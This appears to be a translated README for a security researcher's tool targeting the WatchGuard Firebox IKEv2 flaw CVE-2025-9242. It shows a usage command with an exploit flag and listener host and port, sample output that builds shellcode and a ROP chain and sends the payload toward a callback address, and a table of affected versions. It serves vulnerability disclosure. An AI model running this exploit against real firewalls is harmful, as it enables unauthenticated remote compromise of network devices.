用于WatchGuard CVE-2025-9242的检测工件生成器
https://github.com/user-attachments/assets/097f099b-ba60-4223-adea-04279570460f
有关技术细节,请参见我们的博文
python watchTowr-vs-WatchGuard-CVE-2025-9242.py --rhost 192.168.56.102 --rport 500 --lhost 192.168.56.1 --lport 31337 --exploit
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-WatchGuard-CVE-2025-9242.py
(*) WatchGuard 未经身份验证的远程代码执行检测工件生成器
- McCaulay (@_mccaulay) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2025-9242]
[#] 发送默认转换的IKEv2 SA Init
[#] WatchGuard固件版本: 12.11.3
[#] WatchGuard构建编号: 719894
[+] 基于版本号12.11.3 < 12.11.4,IKEv2服务存在CVE-2025-9242漏洞
[+] 发现默认IKEv2服务
[#] 验证IKEv2服务是否存在漏洞...
[+] IKEv2服务存在CVE-2025-9242漏洞
[#] 构建Shellcode载荷...
[#] 构建ROP链...
[#] 发送漏洞利用载荷至 192.168.56.1:31337
此脚本尝试检测WatchGuard OS是否存在CVE-2025-9242漏洞。
以下WatchGuard OS版本受影响
| 受影响版本 | 已修复版本 |
|---|---|
| 2025.1 | 2025.1.1 |
| 12.x | 12.11.4 |
| 12.5.x (T15 和 T35 型号) | 12.5.13 |
| 12.3.1 (FIPS认证版本) | 12.3.1_Update3 (B722811) |
更多信息请访问 WatchGuard Firebox iked 越界写入漏洞
获取最新安全研究,请关注 watchTowr 实验室团队
| 11.x | 已终止支持 |